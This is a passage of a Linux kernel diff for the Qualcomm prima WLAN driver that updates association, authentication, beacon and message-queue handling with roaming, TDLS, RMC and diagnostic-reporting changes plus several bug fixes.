pAssocRsp->HTCaps.supportedMCSSet); pStaDs->supportedRates.rxHighestDataRate = rxHighestRate; @@ -143,6 +143,41 @@ void limUpdateAssocStaDatas(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpSirAsso // In the future, may need to check for "assoc.HTCaps.delayedBA" // For now, it is IMMEDIATE BA only on ALL TID's pStaDs->baPolicyFlag = 0xFF; + + /* + * Check if we have support for gShortGI20Mhz and + * gShortGI40Mhz from ini file. + */ + if (HAL_STATUS_SUCCESS(ccmCfgGetInt(pMac, + WNI_CFG_SHORT_GI_20MHZ, + &shortgi_20mhz_support))) { + if (VOS_TRUE == shortgi_20mhz_support) + pStaDs->htShortGI20Mhz = + (tANI_U8)pAssocRsp->HTCaps.shortGI20MHz; + else + pStaDs->htShortGI20Mhz = VOS_FALSE; + } else { + limLog(pMac, LOGE, + FL("could not retrieve shortGI 20Mhz CFG," + "setting value to default")); + pStaDs->htShortGI20Mhz = WNI_CFG_SHORT_GI_20MHZ_STADEF; + } + + if (HAL_STATUS_SUCCESS(ccmCfgGetInt(pMac, + WNI_CFG_SHORT_GI_40MHZ, + &shortgi_40mhz_support))) { + if (VOS_TRUE == shortgi_40mhz_support) + pStaDs->htShortGI40Mhz = + (tANI_U8)pAssocRsp->HTCaps.shortGI40MHz; + else + pStaDs->htShortGI40Mhz = VOS_FALSE; + } else { + limLog(pMac, LOGE, + FL("could not retrieve shortGI 40Mhz CFG," + "setting value to default")); + pStaDs->htShortGI40Mhz = WNI_CFG_SHORT_GI_40MHZ_STADEF; + } + } } @@ -469,9 +504,12 @@ limProcessAssocRspFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo, tANI_U8 sub } if(pAssocRsp->ExtCap.present) { - limLog(pMac, LOGE, FL("Filling tdls prohibited in session entry")); + struct s_ext_cap *p_ext_cap = (struct s_ext_cap *) + pAssocRsp->ExtCap.bytes; + limLog(pMac, LOG1, + FL("Filling tdls prohibited in session entry")); psessionEntry->tdlsChanSwitProhibited = - pAssocRsp->ExtCap.TDLSChanSwitProhibited ; + p_ext_cap->TDLSChanSwitProhibited; } if(!pAssocRsp->suppRatesPresent) { @@ -675,6 +713,10 @@ limProcessAssocRspFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo, tANI_U8 sub { // Log success limLog(pMac, LOG1, FL("Successfully Reassociated with BSS")); +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_ROAM_ASSOC_COMP_EVENT, + psessionEntry, eSIR_SUCCESS, eSIR_SUCCESS); +#endif #ifdef FEATURE_WLAN_ESE { tANI_U8 cnt = 0; @@ -835,10 +877,10 @@ limProcessAssocRspFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo, tANI_U8 sub limUpdateAssocStaDatas(pMac, pStaDs, pAssocRsp,psessionEntry); // Extract the AP capabilities from the beacon that was received earlier // TODO - Watch out for an error response! - limExtractApCapabilities( pMac, - (tANI_U8 *) psessionEntry->pLimJoinReq->bssDescription.ieFields, - limGetIElenFromBssDescription( &psessionEntry->pLimJoinReq->bssDescription ), - pBeaconStruct ); + limExtractApCapabilities(pMac, + (tANI_U8 *) psessionEntry->pLimJoinReq->bssDescription.ieFields, + GET_IE_LEN_IN_BSS(psessionEntry->pLimJoinReq->bssDescription.length), + pBeaconStruct); if(pMac->lim.gLimProtectionControl != WNI_CFG_FORCE_POLICY_PROTECTION_DISABLE) limDecideStaProtectionOnAssoc(pMac, pBeaconStruct, psessionEntry); @@ -849,9 +891,12 @@ limProcessAssocRspFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo, tANI_U8 sub else psessionEntry->beaconParams.fShortPreamble = true; } -#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT - limDiagEventReport(pMac, WLAN_PE_DIAG_CONNECTED, psessionEntry, 0, 0); + +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_CONNECTED, psessionEntry, + eSIR_SUCCESS, eSIR_SUCCESS); #endif + if(pAssocRsp->OBSSScanParameters.present) { limUpdateOBSSScanParams(psessionEntry , &pAssocRsp->OBSSScanParameters); diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAuthFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAuthFrame.c index 2adcf9eab48c6..09bb745e1f512 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAuthFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAuthFrame.c @@ -578,6 +578,19 @@ limProcessAuthFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo, tpPESession pse (tANI_U32) pRxAuthFrameBody->authTransactionSeqNumber, (tANI_U32) pRxAuthFrameBody->authStatusCode,(tANI_U32)pMac->lim.gLimNumPreAuthContexts);) + // IOT Workaround: with invalid WEP password, some APs reply AUTH frame 4 + // with invalid seqNumber. This AUTH frame will be dropped by driver, + // thus driver sends the generic status code instead of protocol status code. + // As a workaround, assign the correct seqNumber for the AUTH frame 4. + if (psessionEntry->limMlmState == eLIM_MLM_WT_AUTH_FRAME4_STATE && + pRxAuthFrameBody->authTransactionSeqNumber != SIR_MAC_AUTH_FRAME_1 && + pRxAuthFrameBody->authTransactionSeqNumber != SIR_MAC_AUTH_FRAME_2 && + pRxAuthFrameBody->authTransactionSeqNumber != SIR_MAC_AUTH_FRAME_3) { + PELOGE(limLog(pMac, LOGE, FL("Workaround: Assign a correct seqNumber=4 " + "for AUTH frame 4"));) + pRxAuthFrameBody->authTransactionSeqNumber = SIR_MAC_AUTH_FRAME_4; + } + switch (pRxAuthFrameBody->authTransactionSeqNumber) { case SIR_MAC_AUTH_FRAME_1: diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessBeaconFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessBeaconFrame.c index de765b27c9563..6e1b64f6a246d 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessBeaconFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessBeaconFrame.c @@ -155,10 +155,15 @@ limProcessBeaconFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps if ((pMac->lim.gLimMlmState == eLIM_MLM_WT_PROBE_RESP_STATE) || (pMac->lim.gLimMlmState == eLIM_MLM_PASSIVE_SCAN_STATE)) { - limCheckAndAddBssDescription(pMac, pBeacon, pRxPacketInfo, - ((pMac->lim.gLimHalScanState == eLIM_HAL_SCANNING_STATE) ? - eANI_BOOLEAN_TRUE : eANI_BOOLEAN_FALSE), - eANI_BOOLEAN_FALSE); + //If we are scanning for P2P, only accept probe rsp + if((pMac->lim.gLimHalScanState != eLIM_HAL_SCANNING_STATE) || (NULL == pMac->lim.gpLimMlmScanReq) + || !pMac->lim.gpLimMlmScanReq->p2pSearch ) + { + limCheckAndAddBssDescription(pMac, pBeacon, pRxPacketInfo, + ((pMac->lim.gLimHalScanState == eLIM_HAL_SCANNING_STATE) ? eANI_BOOLEAN_TRUE : eANI_BOOLEAN_FALSE), + eANI_BOOLEAN_FALSE); + + } /* Calling dfsChannelList which will convert DFS channel * to Active channel for x secs if this channel is DFS channel */ limSetDFSChannelList(pMac, pBeacon->channelNumber, @@ -283,8 +288,12 @@ limProcessBeaconFrameNoSession(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo) if ( (pMac->lim.gLimMlmState == eLIM_MLM_WT_PROBE_RESP_STATE) || (pMac->lim.gLimMlmState == eLIM_MLM_PASSIVE_SCAN_STATE) ) { - limCheckAndAddBssDescription(pMac, pBeacon, pRxPacketInfo, - eANI_BOOLEAN_TRUE, eANI_BOOLEAN_FALSE); + //If we are scanning for P2P, only accept probe rsp + if((pMac->lim.gLimHalScanState != eLIM_HAL_SCANNING_STATE) || (NULL == pMac->lim.gpLimMlmScanReq) + || !pMac->lim.gpLimMlmScanReq->p2pSearch ) + { + limCheckAndAddBssDescription(pMac, pBeacon, pRxPacketInfo, eANI_BOOLEAN_TRUE, eANI_BOOLEAN_FALSE); + } /* Calling dfsChannelList which will convert DFS channel * to Active channel for x secs if this channel is DFS channel */ limSetDFSChannelList(pMac, pBeacon->channelNumber, diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessDisassocFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessDisassocFrame.c index 32e15b2abf518..6483854d07cb4 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessDisassocFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessDisassocFrame.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -229,6 +229,7 @@ limProcessDisassocFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo, tpPESession case eSIR_MAC_RSN_IE_MISMATCH_REASON: case eSIR_MAC_1X_AUTH_FAILURE_REASON: case eSIR_MAC_PREV_AUTH_NOT_VALID_REASON: + case eSIR_MAC_PEER_REJECT_MECHANISIM_REASON: // Valid reasonCode in received Disassociation frame break; @@ -252,7 +253,7 @@ limProcessDisassocFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo, tpPESession FL("received Disassoc frame with invalid reasonCode " "%d from "MAC_ADDRESS_STR), reasonCode, MAC_ADDR_ARRAY(pHdr->sa));) - return; + break; } } else diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMessageQueue.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMessageQueue.c index 62c1b8124c073..cb83c73df283c 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMessageQueue.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMessageQueue.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -75,6 +75,10 @@ #include "wmmApsd.h" #endif +#ifdef WLAN_FEATURE_RMC +#include "limRMC.h" +#endif + #include "vos_types.h" #include "vos_packet.h" #include "vos_memory.h" @@ -86,6 +90,8 @@ #define SIZE_OF_FIXED_PARAM 12 #endif +#define CHECK_BIT(value, mask) ((value) & (1 << (mask))) + void limLogSessionStates(tpAniSirGlobal pMac); /** ------------------------------------------------------------- @@ -645,7 +651,7 @@ limProcessEXTScanRealTimeData(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo) tEXTScanFullScanResult.ap.capability = *(((tANI_U16 *)&pProbeResponse->Capabilities)); - vos_mem_free(pBeacon); + vos_mem_free(pProbeResponse); } else { @@ -695,6 +701,7 @@ limProcessEXTScanRealTimeData(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo) */ static void + limHandle80211Frames(tpAniSirGlobal pMac, tpSirMsgQ limMsg, tANI_U8 *pDeferMsg) { tANI_U8 *pRxPacketInfo = NULL; @@ -734,14 +741,66 @@ limHandle80211Frames(tpAniSirGlobal pMac, tpSirMsgQ limMsg, tANI_U8 *pDeferMsg) if ((fc.type == SIR_MAC_MGMT_FRAME) && (fc.subType != SIR_MAC_MGMT_BEACON)) { - limLog(pMac, LOG1, FL("RX MGMT - Type %hu, SubType %hu, Seq.no %d"), - fc.type, fc.subType, - ((pHdr->seqControl.seqNumHi << 4) | (pHdr->seqControl.seqNumLo))); + limLog(pMac, LOG1, FL("RX MGMT - Type %hu, SubType %hu," + "Seq.no %d, Source mac-addr " + MAC_ADDRESS_STR), fc.type, fc.subType, + ((pHdr->seqControl.seqNumHi << 4) | + (pHdr->seqControl.seqNumLo)), + MAC_ADDR_ARRAY(pHdr->sa)); } #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD - if ( WDA_GET_ROAMCANDIDATEIND(pRxPacketInfo)) + if (WDA_GET_ROAMCANDIDATEIND(pRxPacketInfo)) { - limLog( pMac, LOG2, FL("Notify SME with candidate ind")); + limLog( pMac, LOGW, FL("Notify SME with candidate ind")); + + if (WDA_IF_PER_ROAMCANDIDATEIND(pRxPacketInfo) && + IS_FEATURE_SUPPORTED_BY_FW(PER_BASED_ROAMING) && + pMac->roam.configParam.isPERRoamEnabled) + { + tSirPerRoamScanResult *candidateChanInfo = + (tSirPerRoamScanResult *)WDA_GET_RX_MPDU_DATA(pRxPacketInfo); + int chanInfoLen = WDA_GET_RX_PAYLOAD_LEN(pRxPacketInfo) + - sizeof(tANI_U32); + + /* Translate network buffer into system buffer */ + vos_buff_to_hl_buff((v_U8_t *)candidateChanInfo, + WDA_GET_RX_PAYLOAD_LEN(pRxPacketInfo)); + + /* Max candidates allowed */ + if (candidateChanInfo->candidateCount > + SIR_PER_ROAM_MAX_CANDIDATE_CNT) + { + limLog(pMac, LOGE, + FL("Got maximum candidates as %d, setting count as %d"), + candidateChanInfo->candidateCount, + SIR_PER_ROAM_MAX_CANDIDATE_CNT); + candidateChanInfo->candidateCount = + SIR_PER_ROAM_MAX_CANDIDATE_CNT; + } + + vos_mem_set(&pMac->candidateChannelInfo, + sizeof(tSirCandidateChanInfo) * + SIR_PER_ROAM_MAX_CANDIDATE_CNT, 0); + + vos_mem_copy(&pMac->candidateChannelInfo, + candidateChanInfo->channelInfo, + (sizeof(tSirCandidateChanInfo) * + SIR_PER_ROAM_MAX_CANDIDATE_CNT) < chanInfoLen ? + (sizeof(tSirCandidateChanInfo) * + SIR_PER_ROAM_MAX_CANDIDATE_CNT): + chanInfoLen); + + limLog(pMac, LOG1, + FL("PER based Roam candidates %d"), + candidateChanInfo->candidateCount); + + pMac->PERroamCandidatesCnt = candidateChanInfo->candidateCount; + } else + { + /* Normal RSSI based roaming */ + pMac->PERroamCandidatesCnt = 0; + } + //send a session 0 for now - TBD limSendSmeCandidateFoundInd(pMac, 0); goto end; @@ -1604,6 +1663,17 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) limMsg->bodyptr = NULL; break; +#ifdef WLAN_FEATURE_RMC + case eWNI_SME_ENABLE_RMC_REQ: + case eWNI_SME_DISABLE_RMC_REQ: + /* + * These messages are from HDD + * No need to response to hdd + */ + limProcessSmeReqMessages(pMac,limMsg); + break; +#endif /* WLAN_FEATURE_RMC */ + case SIR_HAL_P2P_NOA_START_IND: { tpPESession psessionEntry = &pMac->lim.gpSession[0]; @@ -2095,8 +2165,11 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) { #ifdef WLAN_ACTIVEMODE_OFFLOAD_FEATURE tpPESession psessionEntry; - tANI_U8 sessionId = (tANI_U8)limMsg->bodyval ; - psessionEntry = &pMac->lim.gpSession[sessionId]; + tANI_U8 sessionId; + tSirSetActiveModeSetBncFilterReq *bcnFilterReq = + (tSirSetActiveModeSetBncFilterReq *)limMsg->bodyptr; + psessionEntry = peFindSessionByBssid(pMac, bcnFilterReq->bssid, + &sessionId); if(psessionEntry != NULL && IS_ACTIVEMODE_OFFLOAD_FEATURE_ENABLE) { // sending beacon filtering information down to HAL @@ -2152,17 +2225,22 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) case eWNI_SME_HT40_STOP_OBSS_SCAN_IND: { tpPESession psessionEntry = NULL; - tANI_U8 sessionId = (tANI_U8)limMsg->bodyval ; + tANI_U8 sessionId; + tSirSmeHT40OBSSStopScanInd *ht40StopScanInd = + (tSirSmeHT40OBSSStopScanInd *)limMsg->bodyptr; - psessionEntry = &pMac->lim.gpSession[sessionId]; + psessionEntry = peFindSessionByBssid(pMac, + ht40StopScanInd->bssid, &sessionId);; /* Sending LIM STOP OBSS SCAN Indication Stop command support is only for debugging purpose */ - if ( IS_HT40_OBSS_SCAN_FEATURE_ENABLE ) + if (psessionEntry && IS_HT40_OBSS_SCAN_FEATURE_ENABLE) limSendHT40OBSSStopScanInd(pMac, psessionEntry); else VOS_TRACE(VOS_MODULE_ID_PE,VOS_TRACE_LEVEL_ERROR, "OBSS Scan Stop not started "); } + vos_mem_free(limMsg->bodyptr); + limMsg->bodyptr = NULL; break; #ifdef WLAN_FEATURE_AP_HT40_24G case eWNI_SME_SET_HT_2040_MODE: @@ -2177,6 +2255,8 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) { tpPESession psessionEntry; tANI_U8 sessionId; + tDphHashNode *pStaDs = NULL; + int i, aid; tTdlsLinkEstablishParams *pTdlsLinkEstablishParams; pTdlsLinkEstablishParams = (tTdlsLinkEstablishParams*) limMsg->bodyptr; @@ -2196,10 +2276,32 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) } else { - limSendSmeTdlsLinkEstablishReqRsp(pMac, + for (i = 0; + i < sizeof(psessionEntry->peerAIDBitmap)/sizeof(tANI_U32); + i++) { + for (aid = 0; aid < (sizeof(tANI_U32) << 3); aid++) { + if (CHECK_BIT(psessionEntry->peerAIDBitmap[i], aid)) { + pStaDs = dphGetHashEntry(pMac, + (aid + i*(sizeof(tANI_U32) << 3)), + &psessionEntry->dph.dphHashTable); + if ((NULL != pStaDs) && + (pTdlsLinkEstablishParams->staIdx == + pStaDs->staIndex)) + goto send_link_resp; + } + } + } +send_link_resp: + if (pStaDs) + limSendSmeTdlsLinkEstablishReqRsp(pMac, psessionEntry->smeSessionId, - NULL, - NULL, + pStaDs->staAddr, + pStaDs, + pTdlsLinkEstablishParams->status) ; + else + limSendSmeTdlsLinkEstablishReqRsp(pMac, + psessionEntry->smeSessionId, + NULL, NULL, pTdlsLinkEstablishParams->status) ; } vos_mem_free((v_VOID_t *)(limMsg->bodyptr)); @@ -2211,6 +2313,8 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) { tpPESession psessionEntry; tANI_U8 sessionId; + tDphHashNode *pStaDs = NULL; + int i, aid; tTdlsChanSwitchParams *pTdlsChanSwitchParams; pTdlsChanSwitchParams = (tTdlsChanSwitchParams*) limMsg->bodyptr; @@ -2230,11 +2334,33 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) } else { - limSendSmeTdlsChanSwitchReqRsp(pMac, + for (i = 0; + i < sizeof(psessionEntry->peerAIDBitmap)/sizeof(tANI_U32); + i++) { + for (aid = 0; aid < (sizeof(tANI_U32) << 3); aid++) { + if (CHECK_BIT(psessionEntry->peerAIDBitmap[i], aid)) { + pStaDs = dphGetHashEntry(pMac, + (aid + i*(sizeof(tANI_U32) << 3)), + &psessionEntry->dph.dphHashTable); + if ((NULL != pStaDs) && + (pTdlsChanSwitchParams->staIdx == + pStaDs->staIndex)) + goto send_chan_switch_resp; + } + } + } +send_chan_switch_resp: + if (pStaDs) + limSendSmeTdlsChanSwitchReqRsp(pMac, psessionEntry->smeSessionId, - NULL, - NULL, - pTdlsChanSwitchParams->status) ; + pStaDs->staAddr, + pStaDs, + pTdlsChanSwitchParams->status); + else + limSendSmeTdlsChanSwitchReqRsp(pMac, + psessionEntry->smeSessionId, + NULL, NULL, + pTdlsChanSwitchParams->status); } vos_mem_free((v_VOID_t *)(limMsg->bodyptr)); limMsg->bodyptr = NULL; @@ -2253,6 +2379,28 @@ limProcessMessages(tpAniSirGlobal pMac, tpSirMsgQ limMsg) limMsg->bodyptr = NULL; break; } +#ifdef WLAN_FEATURE_RMC + case WDA_RMC_BECOME_RULER: + limProcessRMCMessages(pMac, eLIM_RMC_BECOME_RULER_RESP, + (void *)limMsg->bodyptr); + vos_mem_free((v_VOID_t*)limMsg->bodyptr); + limMsg->bodyptr = NULL; + break ; + + case WDA_RMC_RULER_SELECT_RESP: + limProcessRMCMessages(pMac, eLIM_RMC_RULER_SELECT_RESP, + (void *)limMsg->bodyptr); + vos_mem_free((v_VOID_t*)limMsg->bodyptr); + limMsg->bodyptr = NULL; + break ; + + case WDA_RMC_UPDATE_IND: + limProcessRMCMessages(pMac, eLIM_RMC_RULER_PICK_NEW, + (void *)limMsg->bodyptr); + vos_mem_free((v_VOID_t*)limMsg->bodyptr); + limMsg->bodyptr = NULL; + break ; +#endif /* WLAN_FEATURE_RMC */ case WDA_SPOOF_MAC_ADDR_RSP: limProcessMlmSpoofMacAddrRsp(pMac, (tSirRetStatus)limMsg->bodyval); diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmReqMessages.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmReqMessages.c index a1308597d7432..fcf5a014ecd6a 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmReqMessages.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmReqMessages.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -643,6 +643,7 @@ void limCovertChannelScanType(tpAniSirGlobal pMac,tANI_U8 channelNum, tANI_BOOLE tANI_U32 i; tANI_U8 channelPair[WNI_CFG_SCAN_CONTROL_LIST_LEN]; tANI_U32 len = WNI_CFG_SCAN_CONTROL_LIST_LEN; + if (wlan_cfgGetStr(pMac, WNI_CFG_SCAN_CONTROL_LIST, channelPair, &len) != eSIR_SUCCESS) { @@ -713,6 +714,16 @@ void limSetDFSChannelList(tpAniSirGlobal pMac,tANI_U8 channelNum, tSirDFSChannel { tANI_BOOLEAN passiveToActive = TRUE; + tANI_U32 cfgVal; + + if (eSIR_SUCCESS == wlan_cfgGetInt(pMac, WNI_CFG_ACTIVE_PASSIVE_CON, + &cfgVal)) + { + limLog(pMac, LOG1, FL("WNI_CFG_ACTIVE_PASSIVE_CON: %d"), cfgVal); + if (!cfgVal) + return; + } + if ((1 <= channelNum) && (165 >= channelNum)) { if (eANI_BOOLEAN_TRUE == limIsconnectedOnDFSChannel(channelNum)) @@ -1090,6 +1101,27 @@ void limSendHalEndScanReq(tpAniSirGlobal pMac, tANI_U8 channelNum, tLimLimHalSca return; } + +void limSendTLPauseInd(tpAniSirGlobal pMac, uint16_t staId) +{ + tSirMsgQ msg; + tSirRetStatus rc = eSIR_SUCCESS; + + msg.type = WDA_PAUSE_TL_IND; + msg.bodyval = staId; + + MTRACE(macTraceMsgTx(pMac, NO_SESSION, msg.type)); + + rc = wdaPostCtrlMsg(pMac, &msg); + if (rc == eSIR_SUCCESS) { + return; + } + + limLog(pMac, LOGW, FL("wdaPostCtrlMsg failed, error code %d"), rc); + + return; +} + /** * limSendHalFinishScanReq() * @@ -2185,6 +2217,12 @@ limProcessMlmPostJoinSuspendLink(tpAniSirGlobal pMac, eHalStatus status, tANI_U3 #if defined (WLAN_FEATURE_VOWIFI_11R) || defined (FEATURE_WLAN_ESE) || defined(FEATURE_WLAN_LFR) psessionEntry->pLimMlmReassocRetryReq = NULL; #endif + +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_CHANNEL_SWITCH_ANOUNCEMENT, + psessionEntry, eSIR_SUCCESS, LIM_SWITCH_CHANNEL_JOIN); +#endif + limLog(pMac, LOG1, FL("[limProcessMlmJoinReq]: suspend link success(%d) " "on sessionid: %d setting channel to: %d with secChanOffset:%d " "and maxtxPower: %d"), status, psessionEntry->peSessionId, @@ -2610,6 +2648,11 @@ limProcessMlmAssocReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) /// Prepare and send Association request frame limSendAssocReqMgmtFrame(pMac, pMlmAssocReq,psessionEntry); +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_ASSOC_REQ_EVENT, psessionEntry, + eSIR_SUCCESS, eSIR_SUCCESS); +#endif + //Set the link state to postAssoc, so HW can start receiving frames from AP. if ((psessionEntry->bssType == eSIR_BTAMP_STA_MODE)|| @@ -2787,6 +2830,12 @@ limProcessMlmReassocReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) psessionEntry->channelChangeReasonCode = LIM_SWITCH_CHANNEL_REASSOC; /** Switch channel to the new Operating channel for Reassoc*/ + +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_CHANNEL_SWITCH_ANOUNCEMENT, + psessionEntry, eSIR_SUCCESS, LIM_SWITCH_CHANNEL_REASSOC); +#endif + limSetChannel(pMac, chanNum, secChannelOffset, psessionEntry->maxTxPower, psessionEntry->peSessionId); return; @@ -2984,28 +3033,17 @@ limProcessMlmDisassocReqNtf(tpAniSirGlobal pMac, eHalStatus suspendStatus, tANI_ if (sendDisassocFrame && (pMlmDisassocReq->reasonCode != eSIR_MAC_DISASSOC_DUE_TO_FTHANDOFF_REASON)) { pMac->lim.limDisassocDeauthCnfReq.pMlmDisassocReq = pMlmDisassocReq; - - - /* If the reason for disassociation is inactivity of STA, then - dont wait for acknowledgement. Also, if FW_IN_TX_PATH feature - is enabled do not wait for ACK */ - if (((pMlmDisassocReq->reasonCode == eSIR_MAC_DISASSOC_DUE_TO_INACTIVITY_REASON) && - (psessionEntry->limSystemRole == eLIM_AP_ROLE)) || - IS_FW_IN_TX_PATH_FEATURE_ENABLE ) + if (IS_FW_IN_TX_PATH_FEATURE_ENABLE) { - - limSendDisassocMgmtFrame(pMac, - pMlmDisassocReq->reasonCode, + limSendDisassocMgmtFrame(pMac, pMlmDisassocReq->reasonCode, pMlmDisassocReq->peerMacAddr, psessionEntry, FALSE); - - /* Send Disassoc CNF and receive path cleanup */ - limSendDisassocCnf(pMac); + /* Send Disassoc CNF and receive path cleanup */ + limSendDisassocCnf(pMac); } else { - limSendDisassocMgmtFrame(pMac, - pMlmDisassocReq->reasonCode, + limSendDisassocMgmtFrame(pMac, pMlmDisassocReq->reasonCode, pMlmDisassocReq->peerMacAddr, psessionEntry, TRUE); } @@ -4420,6 +4458,8 @@ limProcessAuthFailureTimeout(tpAniSirGlobal pMac) break; } + /* Reinit scan results to remove the unreachable BSS */ + limReInitScanResults(pMac); } /*** limProcessAuthFailureTimeout() ***/ @@ -4559,17 +4599,36 @@ limProcessAssocFailureTimeout(tpAniSirGlobal pMac, tANI_U32 MsgType) - /* CR: vos packet memory is leaked when assoc rsp timeouted/failed. */ - /* notify TL that association is failed so that TL can flush the cached frame */ + /* + * CR: vos packet memory is leaked when assoc rsp timeouted/failed. + * notify TL that association is failed so that TL can flush the + * cached frame + */ WLANTL_AssocFailed (psessionEntry->staId); - // Log error + /* Log error */ limLog(pMac, LOG1, FL("Re/Association Response not received before timeout ")); - if (( (psessionEntry->limSystemRole == eLIM_AP_ROLE) || (psessionEntry->limSystemRole == eLIM_BT_AMP_AP_ROLE) )|| - ( (psessionEntry->limMlmState != eLIM_MLM_WT_ASSOC_RSP_STATE) && - (psessionEntry->limMlmState != eLIM_MLM_WT_REASSOC_RSP_STATE) && + /* + * Send Deauth to handle the scenareo where association timeout happened + * when device has missed the assoc resp sent by peer. + * By sending deauth try to clear the session created on peer device. + */ + limLog(pMac, LOGE, + FL("Sessionid: %d try sending Send deauth on channel %d to BSSID: " + MAC_ADDRESS_STR ), psessionEntry->peSessionId, + psessionEntry->currentOperChannel, + MAC_ADDR_ARRAY(psessionEntry->bssId)); + + limSendDeauthMgmtFrame(pMac, eSIR_MAC_UNSPEC_FAILURE_REASON, + psessionEntry->bssId, + psessionEntry, FALSE); + + if (((psessionEntry->limSystemRole == eLIM_AP_ROLE) || + (psessionEntry->limSystemRole == eLIM_BT_AMP_AP_ROLE) )|| + ((psessionEntry->limMlmState != eLIM_MLM_WT_ASSOC_RSP_STATE) && + (psessionEntry->limMlmState != eLIM_MLM_WT_REASSOC_RSP_STATE) && (psessionEntry->limMlmState != eLIM_MLM_WT_FT_REASSOC_RSP_STATE))) { /** @@ -4643,6 +4702,8 @@ limProcessAssocFailureTimeout(tpAniSirGlobal pMac, tANI_U32 MsgType) eSIR_SME_REASSOC_TIMEOUT_RESULT_CODE, eSIR_MAC_UNSPEC_FAILURE_STATUS,psessionEntry); } } + /* Reinit scan results to remove the unreachable BSS */ + limReInitScanResults(pMac); } /*** limProcessAssocFailureTimeout() ***/ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmRspMessages.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmRspMessages.c index d1316b272bf77..1393690c51479 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmRspMessages.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessMlmRspMessages.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -547,8 +547,14 @@ limProcessMlmAuthCnf(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) psessionEntry->peSessionId,psessionEntry->limSmeState);) return; } +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_AUTH_COMP_EVENT, psessionEntry, + pMlmAuthCnf->resultCode, + pMlmAuthCnf->protStatusCode); +#endif + /// Process AUTH confirm from MLM - if (((tLimMlmAuthCnf *) pMsgBuf)->resultCode != eSIR_SME_SUCCESS) + if (pMlmAuthCnf->resultCode != eSIR_SME_SUCCESS) { if (psessionEntry->limSmeState == eLIM_SME_WT_AUTH_STATE) { @@ -567,14 +573,16 @@ 